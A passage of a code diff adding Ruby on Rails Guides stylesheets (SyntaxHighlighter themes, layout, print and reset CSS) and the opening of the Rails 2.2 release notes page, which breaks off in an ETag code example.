+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #c3defe !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: #eee !important;
+}
+.syntaxhighlighter table caption {
+  color: #222 !important;
+}
+.syntaxhighlighter .gutter {
+  color: #787878 !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #d4d0c8 !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #d4d0c8 !important;
+  color: #eee !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #3f5fbf !important;
+  background: #eee !important;
+  border: 1px solid #d4d0c8 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #3f5fbf !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter .toolbar {
+  color: #a0a0a0 !important;
+  background: #d4d0c8 !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: #a0a0a0 !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: red !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: #222 !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #708090 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  font-style: italic !important;
+  color: #6588A8 !important;
+}
+.syntaxhighlighter .keyword {
+  color: #64434d !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #646464 !important;
+}
+.syntaxhighlighter .variable {
+  color: #222 !important;
+}
+.syntaxhighlighter .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter .script {
+  color: #222 !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: #222 !important;
+  font-weight: bold !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: red !important;
+}
+
+.syntaxhighlighter .xml .keyword {
+  color: #64434d !important;
+  font-weight: normal !important;
+}
+.syntaxhighlighter .xml .color1, .syntaxhighlighter .xml .color1 a {
+  color: #7f007f !important;
+}
+.syntaxhighlighter .xml .string {
+  font-style: italic !important;
+  color: #6588A8 !important;
+}
doc/guides/stylesheets/syntaxhighlighter/shThemeRDark.css
@@ -0,0 +1,113 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter {
+  background-color: #1b2426 !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: #1b2426 !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: #1b2426 !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #323e41 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: #b9bdb6 !important;
+}
+.syntaxhighlighter table caption {
+  color: #b9bdb6 !important;
+}
+.syntaxhighlighter .gutter {
+  color: #afafaf !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #435a5f !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #435a5f !important;
+  color: #1b2426 !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #5ba1cf !important;
+  background: black !important;
+  border: 1px solid #435a5f !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #5ba1cf !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: #5ce638 !important;
+}
+.syntaxhighlighter .toolbar {
+  color: white !important;
+  background: #435a5f !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: #e0e8ff !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: #b9bdb6 !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #878a85 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: #5ce638 !important;
+}
+.syntaxhighlighter .keyword {
+  color: #5ba1cf !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #435a5f !important;
+}
+.syntaxhighlighter .variable {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .constants {
+  color: #e0e8ff !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #5ba1cf !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: #e0e8ff !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: white !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: #ffaa3e !important;
+}
doc/guides/stylesheets/main.css
@@ -0,0 +1,445 @@
+/* Guides.rubyonrails.org */
+/* Main.css */
+/* Created January 30, 2009 */
+/* Modified February 8, 2009
+--------------------------------------- */
+
+/* General
+--------------------------------------- */
+
+.left {float: left; margin-right: 1em;}
+.right {float: right; margin-left: 1em;}
+.small {font-size: smaller;}
+.large {font-size: larger;}
+.hide {display: none;}
+
+li ul, li ol { margin:0 1.5em; }
+ul, ol { margin: 0 1.5em 1.5em 1.5em; }
+
+ul { list-style-type: disc; }
+ol { list-style-type: decimal; }
+
+dl { margin: 0 0 1.5em 0; }
+dl dt { font-weight: bold; }
+dd { margin-left: 1.5em;}
+
+pre,code { margin: 1.5em 0; overflow: auto; color: #222;}
+pre,code,tt {
+    font-size: 1em;
+    font-family: "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace;
+    line-height: 1.5;
+}
+
+abbr, acronym { border-bottom: 1px dotted #666; }
+address { margin: 0 0 1.5em; font-style: italic; }
+del { color:#666; }
+
+blockquote { margin: 1.5em; color: #666; font-style: italic; }
+strong { font-weight: bold; }
+em, dfn { font-style: italic; }
+dfn { font-weight: bold; }
+sup, sub { line-height: 0; }
+p {margin: 0 0 1.5em;}
+
+label { font-weight: bold; }
+fieldset { padding:1.4em; margin: 0 0 1.5em 0; border: 1px solid #ccc; }
+legend { font-weight: bold; font-size:1.2em; }
+
+input.text, input.title,
+textarea, select {
+  margin:0.5em 0;
+  border:1px solid #bbb;
+}
+
+table {
+	margin: 0 0 1.5em;
+	border: 2px solid #CCC;
+	background: #FFF;
+	border-collapse: collapse;
+}
+
+table th, table td {
+	padding: 0.25em 1em;
+	border: 1px solid #CCC;
+	border-collapse: collapse;
+}
+
+table th {
+	border-bottom: 2px solid #CCC;
+	background: #EEE;
+	font-weight: bold;
+	padding: 0.5em 1em;
+}
+
+
+/* Structure and Layout
+--------------------------------------- */
+
+body {
+	text-align: center;
+	font-family: Helvetica, Arial, sans-serif;
+	font-size: 87.5%;
+	line-height: 1.5em;
+	background: #222;
+	color: #999;
+	}
+
+.wrapper {
+	text-align: left;
+	margin: 0 auto;
+	width: 69em;
+	}
+
+#topNav {
+	padding: 1em 0;
+	color: #565656;
+}
+
+#header {
+	background: #c52f24 url(../images/header_tile.gif) repeat-x;
+	color: #FFF;
+	padding: 1.5em 0;
+	position: relative;
+	z-index: 99;
+	}
+
+#feature {
+	background: #d5e9f6 url(../images/feature_tile.gif) repeat-x;
+	color: #333;
+	padding: 0.5em 0 1.5em;
+}
+
+#container {
+	background: #FFF;
+	color: #333;
+	padding: 0.5em 0 1.5em 0;
+	}
+
+#mainCol {
+	width: 45em;
+	margin-left: 2em;
+	}
+
+#subCol {
+	position: absolute;
+	z-index: 0;
+	top: 0;
+	right: 0;
+	background: #FFF;
+	padding: 1em 1.5em 1em 1.25em;
+	width: 17em;
+	font-size: 0.9285em;
+	line-height: 1.3846em;
+	}
+
+#extraCol {display: none;}
+
+#footer {
+	padding: 2em 0;
+	background: url(../images/footer_tile.gif) repeat-x;
+	}
+#footer .wrapper {
+	padding-left: 2em;
+	width: 67em;
+}
+
+#header .wrapper, #topNav .wrapper, #feature .wrapper {padding-left: 1em; width: 68em;}
+#feature .wrapper {width: 45em; padding-right: 23em; position: relative; z-index: 0;}
+
+/* Links
+--------------------------------------- */
+
+a, a:link, a:visited {
+	color: #ee3f3f;
+	text-decoration: underline;
+	}
+
+#mainCol a, #subCol a, #feature a {color: #980905;}
+
+
+/* Navigation
+--------------------------------------- */
+
+.nav {margin: 0; padding: 0;}
+.nav li {display: inline; list-style: none;}
+
+#header .nav {
+	float: right;
+	margin-top: 1.5em;
+	font-size: 1.2857em;
+}
+
+#header .nav li {margin: 0 0 0 0.5em;}
+#header .nav a {color: #FFF; text-decoration: none;}
+#header .nav a:hover {text-decoration: underline;}
+
+#header .nav .index {
+	padding: 0.5em 1.5em;
+	border-radius: 1em;
+	-webkit-border-radius: 1em;
+	-moz-border-radius: 1em;
+	background: #980905;
+	position: relative;
+}
+
+#header .nav .index a {
+	background: #980905 url(../images/nav_arrow.gif) no-repeat right top;
+	padding-right: 1em;
+	position: relative;
+	z-index: 15;
+	padding-bottom: 0.125em;
+}
+#header .nav .index:hover a, #header .nav .index a:hover {background-position: right -81px;}
+
+#guides {
+	width: 27em;
+	display: block;
+	background: #980905;
+	border-radius: 1em;
+	-webkit-border-radius: 1em;
+	-moz-border-radius: 1em;
+	-webkit-box-shadow: 0.25em 0.25em 1em rgba(0,0,0,0.25);
+	-moz-box-shadow: rgba(0,0,0,0.25) 0.25em 0.25em 1em;
+	color: #f1938c;
+	padding: 1.5em 2em;
+	position: absolute;
+	z-index: 10;
+	top: -0.25em;
+	right: 0;
+	padding-top: 2em;
+}
+
+#guides dt, #guides dd {
+	font-weight: normal;
+	font-size: 0.722em;
+	margin: 0;
+	padding: 0;
+}
+#guides dt {padding:0; margin: 0.5em 0 0;}
+#guides a {color: #FFF; background: none !important;}
+#guides .L, #guides .R {float: left; width: 50%; margin: 0; padding: 0;}
+#guides .R {float: right;}
+#guides hr {
+	display: block;
+	border: none;
+	height: 1px;
+	color: #f1938c;
+	background: #f1938c;
+}
+
+/* Headings
+--------------------------------------- */
+
+h1 {
+	font-size: 2.5em;
+	line-height: 1em;
+	margin: 0.6em 0 .2em;
+	font-weight: bold;
+	}
+
+h2 {
+	font-size: 2.1428em;
+	line-height: 1em;
+	margin: 0.7em 0 .2333em;
+	font-weight: bold;
+	}
+
+h3 {
+	font-size: 1.7142em;
+	line-height: 1.286em;
+	margin: 0.875em 0 0.2916em;
+	font-weight: bold;
+	}
+
+h4 {
+	font-size: 1.2857em;
+	line-height: 1.2em;
+	margin: 1.6667em 0 .3887em;
+	font-weight: bold;
+	}
+
+h5 {
+	font-size: 1em;
+	line-height: 1.5em;
+	margin: 1em 0 .5em;
+	font-weight: bold;
+}
+
+h6 {
+	font-size: 1em;
+	line-height: 1.5em;
+	margin: 1em 0 .5em;
+	font-weight: normal;
+	}
+
+.section {
+	padding-bottom: 0.25em;
+	border-bottom: 1px solid #999;
+}
+
+/* Content
+--------------------------------------- */
+
+.pic {
+	margin: 0 2em 2em 0;
+}
+
+#topNav strong {color: #999; margin-right: 0.5em;}
+#topNav strong a {color: #FFF;}
+
+#header h1 {
+	float: left;
+	background: url(../images/rails_guides_logo.gif) no-repeat;
+	width: 297px;
+	text-indent: -9999em;
+	margin: 0;
+	padding: 0;
+}
+
+#header h1 a {
+	text-decoration: none;
+	display: block;
+	height: 77px;
+}
+
+#feature p {
+	font-size: 1.2857em;
+	margin-bottom: 0.75em;
+}
+
+#feature ul {margin-left: 0;}
+#feature ul li {
+	list-style: none;
+	background: url(../images/check_bullet.gif) no-repeat left 0.5em;
+	padding: 0.5em 1.75em 0.5em 1.75em;
+	font-size: 1.1428em;
+	font-weight: bold;
+}
+
+#mainCol dd, #subCol dd {
+	padding: 0.25em 0 1em;
+	border-bottom: 1px solid #CCC;
+	margin-bottom: 1em;
+	margin-left: 0;
+	/*padding-left: 28px;*/
+	padding-left: 0;
+}
+
+#mainCol dt, #subCol dt {
+	font-size: 1.2857em;
+	padding: 0.125em 0 0.25em 0;
+	margin-bottom: 0;
+	/*background: url(../images/book_icon.gif) no-repeat left top;
+	padding: 0.125em 0 0.25em 28px;*/
+}
+
+#mainCol dd.ticket, #subCol dd.ticket {
+	background: #fff9d8 url(../images/tab_yellow.gif) no-repeat left top;
+	border: none;
+	padding: 1.25em 1em 1.25em 48px;
+	margin-left: 0;
+	margin-top: 0.25em;
+}
+
+#mainCol div.warning, #subCol dd.warning {
+	background: #f9d9d8 url(../images/tab_red.gif) no-repeat left top;
+	border: none;
+	padding: 1.25em 1.25em 1.25em 48px;
+	margin-left: 0;
+	margin-top: 0.25em;
+}
+
+#subCol .chapters {color: #980905;}
+#subCol .chapters a {font-weight: bold;}
+#subCol .chapters ul a {font-weight: normal;}
+#subCol .chapters li {margin-bottom: 0.75em;}
+#subCol h3.chapter {margin-top: 0.25em;}
+#subCol h3.chapter img {vertical-align: text-bottom;}
+#subCol .chapters ul {margin-left: 0; margin-top: 0.5em;}
+#subCol .chapters ul li {
+	list-style: none;
+	padding: 0 0 0 1em;
+	background: url(../images/bullet.gif) no-repeat left 0.45em;
+	margin-left: 0;
+	font-size: 1em;
+	font-weight: normal;
+}
+
+div.code_container {
+	background: #EEE url(../images/tab_grey.gif) no-repeat left top;
+	padding: 0.25em 1em 0.5em 48px;
+}
+
+.note {
+	background: #fff9d8 url(../images/tab_note.gif) no-repeat left top;
+	border: none;
+	padding: 1em 1em 0.25em 48px;
+	margin: 0.25em 0 1.5em 0;
+}
+
+.info {
+	background: #d5e9f6 url(../images/tab_info.gif) no-repeat left top;
+	border: none;
+	padding: 1em 1em 0.25em 48px;
+	margin: 0.25em 0 1.5em 0;
+}
+
+.note tt, .info tt {border:none; background: none; padding: 0;}
+
+#mainCol ul li {
+	list-style:none;
+	background: url(../images/grey_bullet.gif) no-repeat left 0.5em;
+	padding-left: 1em;
+	margin-left: 0;
+}
+
+#subCol .content {
+	font-size: 0.7857em;
+	line-height: 1.5em;
+}
+
+#subCol .content li {
+	font-weight: normal;
+	background: none;
+	padding: 0 0 1em;
+	font-size: 1.1667em;
+}
+
+/* Clearing
+--------------------------------------- */
+
+.clearfix:after {
+    content: ".";
+    display: block;
+    height: 0;
+    clear: both;
+    visibility: hidden;
+}
+
+.clearfix {display: inline-block;}
+* html .clearfix {height: 1%;}
+.clearfix {display: block;}
+.clear { clear:both; }
+
+/* Same bottom margin for special boxes than for regular paragraphs, this way
+intermediate whitespace looks uniform. */
+div.code_container, div.important, div.caution, div.warning, div.note, div.info {
+    margin-bottom: 1.5em;
+}
+
+/* Remove bottom margin of paragraphs in special boxes, otherwise they get a
+spurious blank area below with the box background. */
+div.important p, div.caution p, div.warning p, div.note p, div.info p {
+    margin-bottom: 1em;
+}
+
+/* Edge Badge
+--------------------------------------- */
+
+#edge-badge {
+  position: fixed;
+  right: 0px;
+  top: 0px;
+  z-index: 100;
+  border: none;
+}
doc/guides/stylesheets/print.css
@@ -0,0 +1,52 @@
+/* Guides.rubyonrails.org */
+/* Print.css */
+/* Created January 30, 2009 */
+/* Modified January 31, 2009
+--------------------------------------- */
+
+body, .wrapper, .note, .info, code, #topNav, .L, .R, #frame, #container, #header, #navigation, #footer, #feature, #mainCol, #subCol, #extraCol, .content {position: static; text-align: left; text-indent: 0; background: White; color: Black; border-color: Black; width: auto; height: auto; display: block; float: none; min-height: 0; margin: 0; padding: 0;}
+
+body {
+  background: #FFF;
+  font-size: 10pt !important;
+  font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
+  line-height: 1.5;
+  color: #000;
+  padding: 0 3%;
+  }
+
+.hide, .nav {
+  display: none !important;
+  }
+
+a:link, a:visited {
+  background: transparent;
+  font-weight: bold;
+  text-decoration: underline;
+  }
+
+hr {
+  background:#ccc;
+  color:#ccc;
+  width:100%;
+  height:2px;
+  margin:2em 0;
+  padding:0;
+  border:none;
+}
+
+h1,h2,h3,h4,h5,h6 { font-family: "Helvetica Neue", Arial, "Lucida Grande", sans-serif; }
+code { font:.9em "Courier New", Monaco, Courier, monospace; }
+
+img { float:left; margin:1.5em 1.5em 1.5em 0; }
+a img { border:none; }
+
+blockquote {
+  margin:1.5em;
+  padding:1em;
+  font-style:italic;
+  font-size:.9em;
+}
+
+.small  { font-size: .9em; }
+.large  { font-size: 1.1em; }
doc/guides/stylesheets/reset.css
@@ -0,0 +1,43 @@
+/* Guides.rubyonrails.org */
+/* Reset.css */
+/* Created January 30, 2009
+--------------------------------------- */
+
+html, body, div, span, applet, object, iframe,
+h1, h2, h3, h4, h5, h6, p, blockquote, pre,
+a, abbr, acronym, address, big, cite, code,
+del, dfn, em, font, img, ins, kbd, q, s, samp,
+small, strike, strong, sub, sup, tt, var,
+b, u, i, center,
+dl, dt, dd, ol, ul, li,
+fieldset, form, label, legend,
+table, caption, tbody, tfoot, thead, tr, th, td {
+  margin: 0;
+  padding: 0;
+  border: 0;
+  outline: 0;
+  font-size: 100%;
+  background: transparent;
+}
+
+body {line-height: 1; color: black; background: white;}
+a img {border:none;}
+ins {text-decoration: none;}
+del {text-decoration: line-through;}
+
+:focus {
+  -moz-outline:0;
+  outline:0;
+  outline-offset:0;
+}
+
+/* tables still need 'cellspacing="0"' in the markup */
+table {border-collapse: collapse; border-spacing: 0;}
+caption, th, td {text-align: left; font-weight: normal;}
+
+blockquote, q {quotes: none;}
+blockquote:before, blockquote:after,
+q:before, q:after {
+  content: '';
+  content: none;
+}
doc/guides/stylesheets/style.css
@@ -0,0 +1,13 @@
+/* Guides.rubyonrails.org */
+/* Style.css */
+/* Created January 30, 2009
+--------------------------------------- */
+
+/*
+---------------------------------------
+Import advanced style sheet
+---------------------------------------
+*/
+
+@import url("reset.css");
+@import url("main.css");
doc/guides/2_2_release_notes.html
@@ -0,0 +1,586 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Ruby on Rails 2.2 Release Notes</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Ruby on Rails 2.2 Release Notes</h2>
+<p>Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn&#8217;t include every little bug fix and change. If you want to see everything, check out the <a href="http://github.com/rails/rails/commits/master">list of commits</a> in the main Rails repository on GitHub.</p>
+<p>Along with Rails, 2.2 marks the launch of the <a href="http://guides.rubyonrails.org/">Ruby on Rails Guides</a>, the first results of the ongoing <a href="http://hackfest.rubyonrails.org/guide">Rails Guides hackfest</a>. This site will deliver high-quality documentation of the major features of Rails.</p>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#infrastructure">Infrastructure</a><ul><li><a href="#internationalization">Internationalization</a></li> <li><a href="#compatibility-with-ruby-1-9-and-jruby">Compatibility with Ruby 1.9 and JRuby</a></li></ul></li><li><a href="#documentation">Documentation</a></li><li><a href="#better-integration-with-http-out-of-the-box-etag-support">Better integration with <span class="caps">HTTP</span> : Out of the box ETag support</a></li><li><a href="#thread-safety">Thread Safety</a></li><li><a href="#active-record">Active Record</a><ul><li><a href="#transactional-migrations">Transactional Migrations</a></li> <li><a href="#connection-pooling">Connection Pooling</a></li> <li><a href="#hashes-for-join-table-conditions">Hashes for Join Table Conditions</a></li> <li><a href="#new-dynamic-finders">New Dynamic Finders</a></li> <li><a href="#associations-respect-private-protected-scope">Associations Respect Private/Protected Scope</a></li> <li><a href="#other-activerecord-changes">Other ActiveRecord Changes</a></li></ul></li><li><a href="#action-controller">Action Controller</a><ul><li><a href="#shallow-route-nesting">Shallow Route Nesting</a></li> <li><a href="#method-arrays-for-member-or-collection-routes">Method Arrays for Member or Collection Routes</a></li> <li><a href="#resources-with-specific-actions">Resources With Specific Actions</a></li> <li><a href="#other-action-controller-changes">Other Action Controller Changes</a></li></ul></li><li><a href="#action-view">Action View</a></li><li><a href="#action-mailer">Action Mailer</a></li><li><a href="#active-support">Active Support</a><ul><li><a href="#memoization">Memoization</a></li> <li><a href="#each_with_object">each_with_object</a></li> <li><a href="#delegates-with-prefixes">Delegates With Prefixes</a></li> <li><a href="#other-active-support-changes">Other Active Support Changes</a></li></ul></li><li><a href="#railties">Railties</a><ul><li><a href="#config-gems">config.gems</a></li> <li><a href="#other-railties-changes">Other Railties Changes</a></li></ul></li><li><a href="#deprecated">Deprecated</a></li><li><a href="#credits">Credits</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <h3 id="infrastructure">1 Infrastructure</h3>
+<p>Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.</p>
+<h4 id="internationalization">1.1 Internationalization</h4>
+<p>Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).</p>
+<ul>
+	<li>Lead Contributors: Rails i18 Team</li>
+	<li>More information :
+	<ul>
+		<li><a href="http://rails-i18n.org">Official Rails i18 website</a></li>
+		<li><a href="http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized">Finally. Ruby on Rails gets internationalized</a></li>
+		<li><a href="http://github.com/clemens/i18n_demo_app">Localizing Rails : Demo application</a></li>
+	</ul></li>
+</ul>
+<h4 id="compatibility-with-ruby-1-9-and-jruby">1.2 Compatibility with Ruby 1.9 and JRuby</h4>
+<p>Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.</p>
+<h3 id="documentation">2 Documentation</h3>
+<p>The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the <a href="http://guides.rubyonrails.org/">Ruby on Rails Guides</a> project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:</p>
+<ul>
+	<li><a href="http://guides.rubyonrails.org/getting_started.html">Getting Started with Rails</a></li>
+	<li><a href="http://guides.rubyonrails.org/migrations.html">Rails Database Migrations</a></li>
+	<li><a href="http://guides.rubyonrails.org/association_basics.html">Active Record Associations</a></li>
+	<li><a href="http://guides.rubyonrails.org/active_record_querying.html">Active Record Query Interface</a></li>
+	<li><a href="http://guides.rubyonrails.org/layouts_and_rendering.html">Layouts and Rendering in Rails</a></li>
+	<li><a href="http://guides.rubyonrails.org/form_helpers.html">Action View Form Helpers</a></li>
+	<li><a href="http://guides.rubyonrails.org/routing.html">Rails Routing from the Outside In</a></li>
+	<li><a href="http://guides.rubyonrails.org/action_controller_overview.html">Action Controller Overview</a></li>
+	<li><a href="http://guides.rubyonrails.org/caching_with_rails.html">Rails Caching</a></li>
+	<li><a href="http://guides.rubyonrails.org/testing.html">A Guide to Testing Rails Applications</a></li>
+	<li><a href="http://guides.rubyonrails.org/security.html">Securing Rails Applications</a></li>
+	<li><a href="http://guides.rubyonrails.org/debugging_rails_applications.html">Debugging Rails Applications</a></li>
+	<li><a href="http://guides.rubyonrails.org/performance_testing.html">Performance Testing Rails Applications</a></li>
+	<li><a href="http://guides.rubyonrails.org/plugins.html">The Basics of Creating Rails Plugins</a></li>
+</ul>
+<p>All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.</p>
+<p>If you want to generate these guides locally, inside your application:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+rake doc:guides
+</pre>
+</div>
+</notextile>
+
+<p>This will put the guides inside <tt>Rails.root/doc/guides</tt> and you may start surfing straight away by opening <tt>Rails.root/doc/guides/index.html</tt> in your favourite browser.</p>
+<ul>
+	<li>Lead Contributors: <a href="credits.html">Rails Documentation Team</a></li>
+	<li>Major contributions from <a href="http://advogato.org/person/fxn/diary.html">Xavier Noria</a> and <a href="http://izumi.plan99.net/blog/">Hongli Lai</a>.</li>
+	<li>More information:
+	<ul>
+		<li><a href="http://hackfest.rubyonrails.org/guide">Rails Guides hackfest</a></li>
+		<li><a href="http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch">Help improve Rails documentation on Git branch</a></li>
+	</ul></li>
+</ul>
+<h3 id="better-integration-with-http-out-of-the-box-etag-support">3 Better integration with <span class="caps">HTTP</span> : Out of the box ETag support</h3>
+<p>Supporting the etag and last modified timestamp in <span class="caps">HTTP</span> headers means that Rails can now send back an empty response if it gets a request for a resource that hasn&#8217;t been modified lately. This allows you to check whether a response needs to be sent at all.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ArticlesController &lt; ApplicationController
+  def show_with_respond_to_block
+    @article = Article.find(params[:id])
+
